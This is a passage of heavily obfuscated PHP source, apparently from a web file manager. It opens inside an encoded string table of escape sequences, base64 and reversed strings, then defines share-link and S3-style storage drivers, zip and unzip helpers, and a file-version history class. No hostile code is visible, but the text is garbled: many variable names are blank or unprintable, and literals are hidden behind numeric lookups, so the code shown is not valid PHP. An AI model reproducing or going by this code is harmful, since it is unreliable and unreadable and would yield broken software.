\315\265\365\112\22\356\60\124\111\44\305\34\203\321\354\30\214\272\31\100\47\172\73\371\174\323\13\12\12\275\277\106\233\245\132\154"."\xa2\x0\x4a\xa6\xa\x43\xe9\x6c\xb1\xbc\x6\xea\x6\x9a\x1c\x9a\x1f\x5\x78\xa\x36\xe5\xe7\x35\x21\x72\xc4\x13\xd8\xc\x62\x38\x9f\xc4\x2a\x69\xc4\x95\x48\xd\xe5\x32\x69\x3f\xb\x56\x96"._kodDe('LSuCUmGuwuiL0nKzow7Jed/Q9fy1zLcZq7iHJRUYQCqYRgGY/THTHwIxm6svIU0y')."\230\102\362\205\172\72\42\321\156\172\3\55\326\326\25\354\16\370\200\210\123\114\240\371\61\57\247\64\53\265\230\362\121\120\255\143\370\311\207\330\220\305\311\127\321\272\112"."\330\210\61\243\243\120\312\102\143\140\366\25\162\13\131\45\105\232\153\351\205\177\250\222\173\314\211\104\343\11\64\0\100\236\45\252\133\53\355\26\222\115\67\276\110\65\302".strrev('"(+|!ڙ6 k]GOHθPud d').strrev('pW}AA`4@$|"E=\'qa4P/').base64_decode('KYsTIlEpEogGumM8Gl3J73BwGL3Lkejp6xYUPxxYgZAlIhgURq3rfNNb6vvpfTg=').base64_decode('GqQ/S1gM3xEa2NDoUeZuqoc87AZZws7pRcb34q8sDyfCkU4aJ56JgsW0kHeUtQo=').base64_decode('YsLjggm32NbFV4OCcFihl2yVnsjKgHB2IyUARPi+8Z+wtn+034eYBWuduN/W3qo=')."\60\66\244\215\350\13\250\132\1\112\7\330\66\272\316\3\73\106\42\157\144\231\263\12\104\20\31\273\100\177\127\261\0\241\225\120\0\11\321\245\74\273\350\106\157\330\45".base64_decode('+jf2H9/v9dFLhZh56feIJiWCq9AeG4s5bkQmiPsWqB31EkJ01dLIIvgB6W4RsKc=').base64_decode('EF3czCczuHxjD/rXGd8YRP/C6CccR9Ol8wxoSYZDy4Ib8X8ioZ4PJL1K5CwQ6tk=')."\x88\xfe\x47\x4\x66\x63\xa8\xc7\x5d\x59\x6b\x30\xbe\x32\x18\xa4\x19\x58\x18\x7e\x45\x56\x44\x70\xa0\xab\x92\xe7\x2a\x6c\xdd\xf\xc9\xc2\xda\x1f\xaa\x4e\x24\xea\xc8\x60\x7a\x7\x66\xd4\x27"."\x12\x7e\xab\xf\xf0\x85\xfb\x1c\xa8\xab\x3d\xae\xb1\x16\xf6\x90\x40\xac\x4d\x50\x5f\x7\x42\x54\xe2\x2\xb1\xc5\x77\x22\x2\xf7\xc7\x4\xf1\xce\x68\xa4\xaf\x57\x8a\x77\x5\x56\x84\x7a\x3a"."\131\314\77\235\205\246\103\325\112\173\50\206\206\250\215\41\243\160\23\45\307\201\341\44\154\221\314\365\72\120\272\35\121\166\24\221\130\166\54\14\120\312\354\134\145\255\175"."\241\160\273\174\11\34\147\204\15\205\120\165\330\123\246\261\306\261\70\271\16\316\42\170\310\131\230\240\33\213\220\61\140\21\72\0\54\106\206\213\105\210\73\52\26\41\35".base64_decode('ZREsnQR7WBqSV5GsyYTQnDrCbzEuTCcljwOYBvuoJg67pUBSnMr1pS5lK9F7Sao=')."\5\152\253\247\110\227\251\375\24\204\270\115\2\104\277\375\353\132\10\67\274\216\41\46\275\261\153\307\165\73\357\370\12\334\354\103\137\11\221\353\224\322\167\330\105\10\242"."\145\114\30\222\246\233\154\324\62\100\350\265\250\132\34\124\310\102\75\204\155\24\211\162\231\106\235\42\24\247\113\353\270\144\4\136\20\74\360\13\55\72\210\376\364\103\224"."\251\105\340\216\113\255\7\66\131\166\41\302\51\35\367\367\327\114\66\132\220\201\215\31\104\153\150\224\225\322\371\236\227\312\141\317\25\11\273\300\324\352\104\70\23\12\154"."\252\4\27\361\366\150\244\227\162\40\112\250\103\241\176\21\224\132\252\66\257\5\326\252\55\32\304\253\203\346\142\151\165\265\16\205\327\342\132\5\56\111\327\73\113\205\172"."\xda\x83\xab\x94\x5a\x3d\x3d\x96\x50\xd5\x4\x14\x56\xd0\x5a\x64\x15\x29\x15\x35\xb1\x1a\x68\x5b\xe1\x9c\xca\xca\x19\xa3\x8a\x8c\x5e\x4c\x5e\x6e\xa3\xb0\xb8\x40\xb9\xa\xd6\x8c\x78\x38\x60".strrev('4xKPA'."\0".'z-J)0mP =R')."\x81\x84\xfb\x3c\x60\xa\xfa\x43\x8\xa\x96\x8e\xcc\x82\x4a\x2f\x6d\x12\x9e\xcd\xb7\xe\x94\x4\xeb\x1c\x2c\x22\x65\x1e\x31\x93\x8\x18\x44\xb6\x3c\xa9\x4f\x3c\x85\x68\xa\xe8\x30\xcb\x7a"."\x84\x65\xc0\x75\xd3\x58\x6f\x34\xd4\x1d\x88\xae\x86\x21\x13\x32\x0\xac\x40\x23\xef\xb8\xab\x2b\x22\xba\xd5\x27\xdd\x16\xef\x41\xad\x96\x6f\x8f\xd3\x39\xe6\x14\x16\xc9\xb3\x8c\xc2\xa2\xd6"."\xc0\x2\xc0\x33\xf\xc\xf\xf5\x1e\x98\xe0\x97\x81\x99\x12\xa5\x8e\xdd\xb1\xf5\xb0\x0\x73\xca\x40\xae\x2d\x31\xad\x59\x1\x91\x1c\x1e\x13\xb3\x6\xb8\xf\xb3\x22\xa7\xca\xf7\xaf\x84\x7b"."\x43\xbc\x49\xe2\x49\x66\xd4\xbe\x23\xd0\x17\x96\x21\x30\x54\xca\xb2\xe0\xea\xcf\x58\x23\xac\xa5\xd5\xd6\x8\x4b\x63\xea\x18\xbe\xda\xa0\x3f\x75\x73\xa0\x7f\xd4\x4f\x44\xdd\x4c\x24\x93\x96".strrev(']jXF~E}'."\r".'P)'."\0".']\'ǸeJ'."\n".'b_'."\r".'J@~IܐU'."\0".'͚,').base64_decode('+qLsOAPHyd3PaLBtNT9Z4NCOwAo3BK+BeKCzKpgrhzCcSGGJaARr0YLhDleBWBc=').base64_decode('d47ohCXCoZ5lVRPQXt4tFaHAUDzY7YY5a4gF8foV8dZwpE1KDkUqR4IzCxxIdXA=').strrev('~ŰtKtD\\--ouޑ4#?')."\267\14\6\244\305\40\346\367\371\340\43\74\340\357\367\163\257\123\214\214\202\263\332\30\365\317\343\150\205\313\241\5\273\113\356\163\73\160\14\321\43\307\104\154\165\214\217"."\66\105\305\152\351\16\374\242\331\144\53\3\127\146\364\257\127\316\212\15\133\252\146\164\40\250\343\256\255\14\362\351\206\130\13\142\321\246\215\124\31\273\0\22\43\56\266"."\x19\x4\xf2\x39\xaa\x40\xe4\x7a\x48\x48\xb9\xb0\xe6\x62\x6c\x6d\x16\xd1\xb6\x3\x3b\x62\x1b\x62\xda\x3a\xbb\x42\x4b\x97\x85\xbb\x7b\x22\xbd\xcb\xa3\xb1\x78\xdf\x8a\x95\xab\x56\xaf\x81\xd1"."\145\50\220\121\274\314\203\27\270\206\364\217\250\246\177\204\171\46\136\201\171\156\315\362\313\74\17\7\242\76\42\162\307\210\225\237\212\342\74\25\323\6\177\365\44\132\233".base64_decode('v1C0GyfJ0WtqScOwJ0ld0f3ZFUPi2n5rgOGcP62N+AW3wkgYlzRgv/bKHpIxeso=')."\214\127\72\351\332\174\1\220\347\234\223\264\105\13\340\114\146\302\267\332\133\360\246\373\343\235\330\277\143\377\32\76\327\272\51\71\130\114\31\305\264\56\135\376\127\123\214"."\307\52\247\206\370\335\172\114\375\55\357\250\316\260\351\70\56\176\201\45\123\102\115\121\161\124\262\342\33\366\142\151\304\253\346\263\6\342\267\162\5\6\125\207\34\351\302".strrev('1r4Vup˲1/&ZB')."\x4\xfa\x52\x60\x81\x68\x35\x69\x5a\xc0\x99\x44\xf3\x6b\xae\xd6\xcb\x5\xdc\x3d\xa3\x25\xac\x51\xdd\x4e\xe5\x24\x41\xa5\x32\xb1\x12\x6e\x56\xc\x2a\x7c\xa8\x7a\x7b\xdd\xad\x62\x63\xea\x16"."\xdf\x44\x25\x15\xed\x91\xcc\x10\xe2\x46\x95\x32\xb4\x45\x55\x8b\xd1\x24\x5c\x52\xf0\x92\x8e\xb2\x93\xc\x1\x2e\x4b\x93\x70\xd9\x8a\x64\x56\x58\xd2\x76\x48\xe5\x6c\xb5\x6c\x4d\xd2\xbd\xca"."\xc1\x3\x15\x40\xba\x4a\x87\x5d\x82\x32\xcd\x3a\xd9\x78\x56\xcd\x5c\xf9\x39\xc0\x38\x77\x6e\xa2\x33\xa8\xde\xa\x21\xea\xbb\x8e\x83\xab\xb5\xa2\x6a\xe6\x49\x5b\x21\x72\xbb\x76\x81\x6a\xb4".base64_decode('lqVUoa7CLqCSjou0KlYKtE68R8v+iaokyyYP1Y0iolWXvuW0VnDB5YFhlktIcss=').base64_decode('60PCZotZAU9zkPRycaho8G0iLezLsL0qf2Wef66iNidqFsuSo86qRskeLGdXSrQ=').strrev('Xv9X;!1\\i/$}4De@ޜҞ*nk%iy')."\375\37\64\357\364\350\255\15\37\361\362\103\27\342\256\222\356\227\64\71\146\230\266\7\247\305\215\22\371\155\65\154\133\34\105\123\131\232\60\171\170\323\363\110\26\25\50"."\44\116\130\360\50\22\245\77\101\107\102\66\110\20\16\1\261\220\32\323\150\52\41\66\216\10\76\114\340\21\171\117\203\303\300\216\262\353\270\122\0\220\110\231\64\306\230"."\x33\x40\x7c\x2b\x57\xb4\x47\x3c\x4e\x4f\x98\x37\xc1\x77\x0\x8e\xc9\x36\x21\xe4\xbe\xb3\xe5\xa7\x29\x7e\x70\x22\xef\x55\x31\x3\x8\x6f\x52\xf9\x6\x4b\x59\x47\x71\xfa\xb2\xf\xb7\x73\xfc".base64_decode('rBpAWSmqoB6kiUoJu1mnDhQrknoDsdjKSLSdOpyuSCalJBubiqTerkjPZGnB7kA=').base64_decode('KFyRhs1xehLCQxRNCvWSVgbC4cjKyVoRalsmWkJOVYUOvJQzmGqbnRHE1DyTraU=').base64_decode('i3paQbgKE2WKempIaNRUiSm3mBc9HnC+3uKyemNIChVhU5oeqDtaAih2wM0XNGc=')."\220\305\61\261\317\161\234\54\301\311\172\40\124\104\302\71\171\3\45\200\351\125\7\110\326\237\126\352\363\111\252\30\0\334\260\245\6\330\141\15\32\111\111\137\117\305\23"."\xb8\x2c\x7\x43\x2a\x99\x4b\xd1\x30\x24\xff\x6f\x2d\xc1\xc2\x21\xd2\xa7\x0\x0", 10, -8))); goto f; cѬ݇: class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($Υ, $ڷ = false) { $ =& $_SERVER[譃]; return Action($[1173])->sharePathInfo($this->pathParse[$[78]], !0, $ڷ); } public function listPath($, $ = false) { $Ŋ =& $_SERVER[譃]; $д = IO::listPath($, $); if (!$д) { return $д; } if (is_array($д[$Ŋ[1334]])) { $ = Action($Ŋ[1344])->parsePathChildren($д[$Ŋ[1334]], array($Ŋ[418] => $)); $д[$Ŋ[1334]] = Action($Ŋ[1173])->shareItemInfo($); } foreach ($д as $ => $ݺ) { if (!in_array($, array($Ŋ[76], $Ŋ[77]))) { continue; } foreach ($ݺ as $믗ƹ => $) { $ = Action($Ŋ[1344])->parsePathChildren($, array($Ŋ[418] => $)); $д[$][$믗ƹ] = Action($Ŋ[1173])->shareItemInfo($); } } return $д; } public function listAll($Ӱ) { $ڸ =& $_SERVER[譃]; $喃 = IO::listAll($Ӱ); foreach ($喃 as &$) { $ޜ = IO::info($[$ڸ[78]]); $ޜ = is_array($ޜ) ? $ޜ : array(); $ = array_merge($ޜ, $); $[$ڸ[87]] = Action($ڸ[1173])->shareItemInfo($); } unset($); return $喃; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($⮓) { parent::__construct($⮓); $this->signatureVersion($_SERVER[譃][215]); } public function uploadFormData($Ŀ, $۬ = 3600) { $ƙ =& $_SERVER[譃]; $ = $ƙ[195]; $Ͷެ = $ƙ[1345]; $ڇ = $ƙ[62]; $Ռ = gmdate($ƙ[1346]); $߈ = gmdate($ƙ[749]); $ = $ƙ[1347]; $ = $۬ . $ƙ[12]; $ܝ = $ƙ[1308]; $ٍ = array($this->accessKey, $߈, $this->region, $ڇ, $); $Ă = implode($ƙ[8], $ٍ); $ȁ = array($ƙ[1310] => gmdate($ƙ[1309], strtotime($ƙ[1348])), $ƙ[1311] => array(array($ƙ[1313] => $this->bucket), array($ƙ[1312] => $), array($ƙ[1314], $ƙ[1315], $ƙ[12]), array($ƙ[1314], $ƙ[1349], $ƙ[12]), array($ƙ[1314], $ƙ[1350], $ƙ[12]), array($ƙ[1316] => $ܝ), array($ƙ[1351] => $Ă), array($ƙ[1352] => $Ͷެ), array($ƙ[1353] => $Ռ), array($ƙ[1354] => $))); $ν = base64_encode(json_encode($ȁ)); $ = hash_hmac($ƙ[1355], $߈, $ƙ[1356] . $this->secret, !0); $ƣ = hash_hmac($ƙ[1355], $this->region, $, !0); $ö = hash_hmac($ƙ[1355], $ڇ, $ƣ, !0); $Ӄ = hash_hmac($ƙ[1355], $, $ö, !0); $ = hash_hmac($ƙ[1355], $ν, $Ӄ); $ҦЧ = array($ƙ[214] => $ƙ[12], $ƙ[1357] => $ƙ[12], $ƙ[1312] => $, $ƙ[1316] => $ܝ, $ƙ[1320] => $ν, $ƙ[1358] => $Ă, $ƙ[1359] => $Ͷެ, $ƙ[1360] => $Ռ, $ƙ[1361] => $, $ƙ[1362] => $, $ƙ[178] => $this->getHost()); return $ҦЧ; } } goto CܟŚ; D: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $בˏ; if (!$בˏ) { $ї = IO::init($_SERVER[譃][8]); } return $ї; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($ά) { return self::local()->iconvApp($ά); } public static function zip($Ĩ, $ = "\x7a\151\160", $ = '', $Ж = REPEAT_RENAME) { $衖 =& $_SERVER[譃]; $³ؤ = self::init($Ĩ[0][$衖[78]]); $Ʃɂ = self::info($Ĩ[0][$衖[78]]); $㜾 = !1; if (!$ && $³ؤ->getType() == $衖[107]) { $Ί = self::zipFileList($Ĩ); } else { $㜾 = $ ? $ : TEMP_FILES . $衖[1182] . time() . rand_string(8) . $衖[8]; mk_dir($㜾); $Ί = self::zipFileList($Ĩ, $㜾); } $ = $Ʃɂ[$衖[32]]; if (count($Ί) > 1) { $ă = IO::info(IO::pathFather($Ʃɂ[$衖[78]])); $ = $ă[$衖[32]]; } $ = $㜾; if (!$) { $ = get_path_father($Ʃɂ[$衖[78]]); if (!$ && $³ؤ->getType() == $衖[107]) { $ = get_path_father($³ؤ->path); } $ = IO::info($); if (!$[$衖[199]]) { show_json(LNG($衖[1183]), !1); } } $僉 = $ . $ . $衖[10] . $; $僉 = get_filename_auto($僉, $衖[12], $Ж); $ = self::iconvSystem($僉); foreach ($Ί as $蟠纻 => $䕓) { $Ί[$蟠纻] = self::iconvSystem($䕓); } KodArchive::create($, $Ί); if (!IO::exist($僉)) { if ($㜾) { del_dir($㜾); } show_json(LNG($衖[1184]), !1); } if ($ || !$㜾) { if ($㜾 && strstr($㜾, TEMP_FILES)) { $֛ = $Ί = array(); recursion_dir($, $֛, $Ί, 0); foreach ($֛ as $٦) { del_dir($٦); } foreach ($Ί as $) { if ($ == $) { continue; } del_file($); } } return $僉; } $Ή = self::pathFather($Ʃɂ[$衖[78]]); $ = self::move($僉, $Ή, $Ж); if (!$) { del_dir($㜾); show_json(LNG($衖[1184]), !1); } del_dir($㜾); return $; } public static function unzip($߹, $§ = "\162\x65\160\154\x61\x63\145") { $ =& $_SERVER[譃]; $ = $߹[$[78]]; $Ϊ = $߹[$[1185]]; if (!($ = parent::info($))) { show_json(LNG($[1186]), !1); } if (!($ = parent::infoFull($Ϊ))) { $Ϊ = parent::mkdir($Ϊ); $ = array($[78] => $Ϊ); } else { if (isset($[$[399]]) && trim($[$[78]], $[8]) != trim($Ϊ, $[8])) { $ = KodIO::make($[$[494]]); $ = parent::fileNameAuto($, $[$[32]], REPEAT_RENAME_FOLDER, !0); $Ϊ = parent::mkdir($ . $); $ = array($[78] => $Ϊ); } } $Ϊ = $[$[78]]; $ = self::tmpFileName($); $Ƚ = TEMP_FILES . $; del_dir($Ƚ); mk_dir($Ƚ); $ƛʠ = self::fileExt($); $Б = $Ƚ . $[10] . $ƛʠ; if (!@file_exists(self::iconvSystem($Б))) { $ = self::localFilePath($, $ƛʠ); $Б = $ ? $ : parent::download($, $Б); } $Б = self::iconvSystem($Б); $ô = isset($߹[$[1187]]) ? $߹[$[1187]] : $[1188]; $ = KodArchive::extract($Б, $Ƚ . $[8], $ô); self::archiveExt(); if (!$[$[1189]]) { show_json($[1190] . $[$[1191]], !1); } Hook::trigger($[1192], $Ƚ); recursion_dir($Ƚ, $ᕹ, $ӧɐ, 0); $ԇ = array_merge($ᕹ, $ӧɐ); foreach ($ԇ as $) { $ = self::iconvApp($); self::move($, $Ϊ, $§); } del_dir($Ƚ); if (!$) { del_file($Б); } return !0; } public static function unzipList($Ϫߥ) { $ =& $_SERVER[譃]; $̢ = $Ϫߥ[$[78]]; $橲 = isset($Ϫߥ[$[1193]]) ? $Ϫߥ[$[1193]] : -1; $ׇ = 50000; if (request_url_safe($̢)) { $Ա = parse_url_query($̢); if (!isset($Ա[$[78]])) { show_json($[1194], !1); } } $ӽ = isset($Ա) ? $Ա[$[78]] : $̢; $ÞDz = self::info($ӽ); $݊ܟ = self::fileExt($ÞDz); $ = self::tmpFileName($ÞDz); if (isset($Ա)) { $鋨 = array($Ա[$[78]], $Ա[$[1193]], $Ա[$[32]]); $ = md5(implode($[11], $鋨)) . $[10] . get_path_ext($Ա[$[32]]); } else { $鋨 = array($ÞDz[$[32]], $ÞDz[$[78]], $ÞDz[$[80]]); $ = md5(implode($[11], $鋨)) . $[10] . $݊ܟ; } if ($橲 == -1) { $ȗӒ = IO_PATH_SYSTEM_TEMP . "\172\151\160\x56\151\x65\167\x2f{$}\x2f{$}\56\x6c\x6f\x67"; $މ = self::infoFull($ȗӒ); if ($މ) { $ȗӒ = $މ[$[78]]; $Î = self::getContent($ȗӒ); if ($Î) { $ = json_decode($Î, !0); $ = is_array($) ? $ : array(); if (count($) >= $ׇ) { show_json(sprintf(LNG($[1195]), count($)), !1); } return $; } } else { $ȗӒ = self::mkfile($ȗӒ); } } $茭 = TEMP_FILES . $; if (!is_dir($茭)) { mk_dir($茭); } $ = $茭 . $[8] . $; if (!@file_exists(self::iconvSystem($))) { if (isset($Ա)) { url_request($̢, $[1196], $); } else { $ = self::localFilePath($̢, $݊ܟ); $ = $ ? $ : self::download($̢, $); } } $ = self::iconvSystem($); if ($橲 >= 0) { $ = isset($Ϫߥ[$[1197]]) ? $Ϫߥ[$[1197]] : !1; $ = isset($Ϫߥ[$[32]]) ? $Ϫߥ[$[32]] : $[12]; KodArchive::filePreview($, $橲, $, $); self::archiveExt(); die; } $̍ = KodArchive::listContent($); self::archiveExt(); del_dir($茭); if (!$̍[$[1189]]) { show_json($̍[$[1191]], !1); } $ = json_encode($̍[$[1191]]); self::setContent($ȗӒ, $); if (count($̍[$[1191]]) >= $ׇ) { show_json(sprintf(LNG($[1195]), count($̍[$[1191]])), !1); } return $̍[$[1191]]; } private static function fileExt($) { $ =& $_SERVER[譃]; $݄ = $[$[171]]; if ($݄ == $[1198]) { $⎊ = $[1199]; if (substr($[$[32]], -strlen($⎊)) == $⎊) { $݄ = $[1200]; } } self::archiveExt($݄); return $݄; } private static function zipFileList($, $ = false) { $ =& $_SERVER[譃]; $ = array(); foreach ($ as $̤) { $ = $̤[$[78]]; if ($) { $ = self::copy($̤[$[78]], $, $[816]); } else { $ = self::init($̤[$[78]]); if ($->getType() == $[107]) { $ = $->path; } } if ($ && self::local()->exist($)) { $[$̤[$[78]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1164]), !1); } public static function tmpFileName($) { $ =& $_SERVER[譃]; $ș = array($[$[32]], $[$[78]], $[$[80]], $[$[517]]); return md5(implode($[11], $ș)); } private static function localFilePath($Ψܝ, $) { $ =& $_SERVER[譃]; if ($ == $[1201] && strtoupper(substr(PHP_OS, 0, 3)) == $[1202]) { return !1; } $ = KodIO::parse($Ψܝ); if ($[$[33]] == KodIO::KOD_SOURCE) { $Όݿ = Model($[823])->fileInfoGet(KodIO::sourceID($Ψܝ)); if (!$Όݿ[$[78]]) { show_json($[1203], !1); } $Ψܝ = $Όݿ[$[78]]; } $ = self::init($Ψܝ); if ($->pathParse[$[1151]]) { $Ψܝ = $->pathParse[$[1151]]; $ = self::init($Ψܝ); } $ = $->getType(); if ($ == $[107] || $ == $[1204]) { if (!$->exist($->path)) { show_json(LNG($[106]), !1); } return $->path; } return !1; } private static function archiveExt($ = '') { $GLOBALS[$_SERVER[譃][1205]] = $; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ψȇ =& $_SERVER[譃]; $ؗ = $GLOBALS[$ψȇ[6]][$ψȇ[90]]; if ($ؗ[$ψȇ[1206]] != 1) { return; } if ($ؗ[$ψȇ[1207]] <= 0) { return; } if (isset($_REQUEST[$ψȇ[1208]]) && $_REQUEST[$ψȇ[1208]] == $ψȇ[89]) { return; } Hook::bind($ψȇ[1209], $ψȇ[1210]); Hook::bind($ψȇ[1211], $ψȇ[1212]); Hook::bind($ψȇ[1213], $ψȇ[1214]); Hook::bind($ψȇ[1215], $ψȇ[1216]); Hook::bind($ψȇ[1217], $ψȇ[1218]); Hook::bind($ψȇ[1219], $ψȇ[1220]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $϶ = self::parsePath($[0]); if (!$϶) { return; } self::add($϶); } public static function eventBeforeEdit($) { $ٖ = self::parsePath($[0]); if (!$ٖ) { return; } self::add($ٖ); } public static function eventBeforeCopyFile($𑙖, $, $ɂ̂, $, $, $ӡ) { $ = $ɂ̂->getPathOuter($); $ = self::parsePath($); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $술 =& $_SERVER[譃]; $߅ = self::parsePath($[0]); if (!$߅) { return; } $ = self::checkInHistory($߅); if (!$) { return; } if ($[$술[33]] == $술[196]) { $ֽ = self::listData($߅); if ($ֽ && $ֽ[$술[368]]) { self::moveHistory($߅, $[1]); } } else { IO::rename($[$술[78]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[譃]; $š = self::parsePath($[0]); if (!$š) { return; } $ = self::parsePath($[1]); if (!$) { return; } $ = $[3]; $Ͻ = self::checkInHistory($š); if (!$Ͻ) { return; } $ך = self::pathHistory($); if ($Ͻ[$[33]] == $[196]) { $ = self::listData($š); $܆ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($š)); $ = self::listData($܆); if ($ && $[$[368]] && $ && $[$[368]]) { return self::clear($š); } if ($ && $[$[368]]) { self::moveHistory($š, $, $ך); } } else { IO::move($Ͻ[$[78]], $ך, !1, $); self::clearEmptyFolder(IO::pathFather($Ͻ[$[78]])); } } public static function eventAfterRemove($ڪ, $Ş) { $Ӛ =& $_SERVER[譃]; if (!$Ş) { return; } $ʗ = self::parsePath($ڪ[0]); if (!$ʗ) { return; } $ = self::checkInHistory($ʗ); if (!$) { return; } if ($[$Ӛ[33]] == $Ӛ[196]) { $Ԋ = self::listData($ʗ, !1); if ($Ԋ && $Ԋ[$Ӛ[368]]) { self::clear($ʗ, !1); } } else { IO::remove($[$Ӛ[78]]); self::clearEmptyFolder(IO::pathFather($[$Ӛ[78]])); } } private static function checkInHistory($) { $ = self::pathHistory($); if (!IO::exist($)) { $ .= $_SERVER[譃][1221]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($⎤) { $ =& $_SERVER[譃]; if (!$⎤) { return !1; } if ($GLOBALS[$[1222]]) { return; } $ = KodIO::parse($⎤); $ = $[$[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$[1223]]) { return !1; } if (substr($⎤, 0, strlen(DATA_PATH . $[1224])) == DATA_PATH . $[1224]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $Őŋ = IO::init($⎤); if ($Őŋ->pathParse[$[1151]]) { return self::parsePath($Őŋ->pathParse[$[1151]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $Ѐ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1225]); foreach ($Ѐ as $ԩ) { if (!$ && substr($⎤, 0, strlen($ԩ)) == $ԩ) { return !1; } } self::log($GLOBALS[$[1146]] . $[1226] . $⎤); return $⎤; } private static function pathHistory($̹Ӥ) { $ =& $_SERVER[譃]; $۬ = self::$_historyBase . ltrim(KodIO::clear($̹Ӥ), $[8]); $۬ = str_replace(array($[1227]), array($[1228]), $۬); return $۬; } public static function log($) { } public static function historyCount($㌦) { $ފ =& $_SERVER[譃]; $ = array(); $ġ = array(); foreach ($㌦ as $) { $ѭ = get_path_father($); if (!$ġ[$ѭ]) { $ġ[$ѭ] = array(); } $ġ[$ѭ][] = get_path_this($); } foreach ($ġ as $ѭ => $) { $ݖ = self::parsePath($ѭ); if (!$ݖ) { continue; } foreach ($ as $ܠ) { $ל = self::listData(rtrim($ݖ, $ފ[8]) . $ފ[8] . $ܠ, !1); if ($ל && $ל[$ފ[368]]) { $[rtrim($ѭ, $ފ[8]) . $ފ[8] . $ܠ] = count($ל[$ފ[368]]); } } } return $; } public static function add($) { $½ =& $_SERVER[譃]; $ = self::listData($); if (!$) { return; } $П = Model($½[768])->get($½[1229]); $ˆ = $GLOBALS[$½[6]][$½[90]][$½[1207]]; $ȴ = $П == $½[1230] ? 5 : $ˆ; if ($ˆ <= 0) { return; } $֮ = IO::hashSimple($); $ = IO::info($); $Ж˳ = $[$½[368]]; if ($[$½[80]] == 0) { return; } if ($[$½[80]] >= 1024 * 1024 * 500) { return !1; } if ($Ж˳ && $Ж˳[0][$½[174]] == $֮) { return !0; } if (array_key_exists($½[199], $) && !$[$½[199]]) { return !1; } $ׂ = short_id(time()); $ȸ = array($½[396] => $ׂ, $½[174] => $֮, $½[32] => $[$½[32]] . $½[10] . date($½[1231]) . rand_string(1), $½[80] => $[$½[80]], $½[448] => USER_ID, $½[197] => time(), $½[1232] => $½[12]); IO::mkdir($[$½[1233]]); $ = IO::copy($, $[$½[1233]], !1, $ȸ[$½[32]]); if (!$) { self::clearEmptyFolder($[$½[1233]]); return !1; } array_unshift($Ж˳, $ȸ); if (count($Ж˳) > $ȴ) { $ԅ = array_slice($Ж˳, $ȴ); foreach ($ԅ as $) { IO::remove($[$½[1233]] . $[$½[32]]); } $Ж˳ = array_slice($Ж˳, 0, $ȴ); } return self::saveData($[$½[1234]], $Ж˳); } public static function remove($, $Ϯ) { $ =& $_SERVER[譃]; $ٞ = self::listData($); $Ϳ = array(); if (!$ٞ) { return !1; } foreach ($ٞ[$[368]] as $) { if ($[$[396]] == $Ϯ) { IO::remove($ٞ[$[1233]] . $[$[32]]); continue; } $Ϳ[] = $; } return self::saveData($ٞ[$[1234]], $Ϳ); } public static function clear($, $͏ = true) { $ =& $_SERVER[譃]; $ញ = self::listData($, $͏); if (!$ញ) { return !1; } foreach ($ញ[$[368]] as $) { IO::remove($ញ[$[1233]] . $[$[32]]); } return self::saveData($ញ[$[1234]], array()); } public static function moveHistory($, $ = '', $ʡ = '') { $ˍӋ =& $_SERVER[譃]; $ʻ = self::listData($, !1); if (!$ʻ || !$ʻ[$ˍӋ[368]]) { return !1; } $ = $ˍӋ[1221]; $ = $ ? $ : get_path_this($); $ʡ = $ʡ ? $ʡ : $ʻ[$ˍӋ[1233]]; $Ɍ = substr(get_path_this($ʻ[$ˍӋ[1234]]), 0, -strlen($)); foreach ($ʻ[$ˍӋ[368]] as $ؽ => $苚) { $ڔ = $ . substr($苚[$ˍӋ[32]], strlen($Ɍ)); $ò = IO::move($ʻ[$ˍӋ[1233]] . $苚[$ˍӋ[32]], $ʡ, !1, $ڔ); if ($ò) { $ʻ[$ˍӋ[368]][$ؽ][$ˍӋ[32]] = $ڔ; } } $ʻ[$ˍӋ[1234]] = IO::move($ʻ[$ˍӋ[1234]], $ʡ, !1, $ . $); self::saveData($ʻ[$ˍӋ[1234]], $ʻ[$ˍӋ[368]]); self::clearEmptyFolder($ʻ[$ˍӋ[1233]]); } public static function rollback($, $) { $ʂ㙀 =& $_SERVER[譃]; $ = self::listData($); if (!$) { return; } $ǎ = IO::info($); foreach ($[$ʂ㙀[368]] as $ => $䛵) { if ($䛵[$ʂ㙀[396]] == $) { self::add($); $ϼ = $[$ʂ㙀[1233]] . $䛵[$ʂ㙀[32]]; $噎 = IO::copy($ϼ, IO::pathFather($), REPEAT_REPLACE, $ǎ[$ʂ㙀[32]]); if ($噎) { self::remove($, $); } return $噎; } } return !1; } public static function setDetail($, $˩, $ߩ) { $ƴ =& $_SERVER[譃]; $ι = self::listData($); if (!$ι) { return; } foreach ($ι[$ƴ[368]] as $ => $͘) { if ($͘[$ƴ[396]] == $˩) { $ι[$ƴ[368]][$][$ƴ[1232]] = $ߩ; self::saveData($ι[$ƴ[1234]], $ι[$ƴ[368]]); return !0; } } return !1; } public static function fileInfo($Խ, $ҙ) { $ =& $_SERVER[譃]; $ = self::listData($Խ); if (!$) { show_json(LNG($[106]), !1); } $ = $[12]; foreach ($[$[368]] as $ => $) { if ($[$[396]] != $ҙ) { continue; } $ = $[$[1233]] . $[$[32]]; break; } if (!$) { show_json(LNG($[106]), !1); } return IO::info($); } public static function fileOut($, $ׯ, $ = false) { $æ =& $_SERVER[譃]; $ = self::fileInfo($, $ׯ); $ͣ =& $GLOBALS[$æ[7]]; $ = isset($ͣ[$æ[1197]]) && $ͣ[$æ[1197]] == 1; if (isset($ͣ[$æ[33]]) && $ͣ[$æ[33]] == $æ[1235]) { return IO::fileOutImage($[$æ[78]], 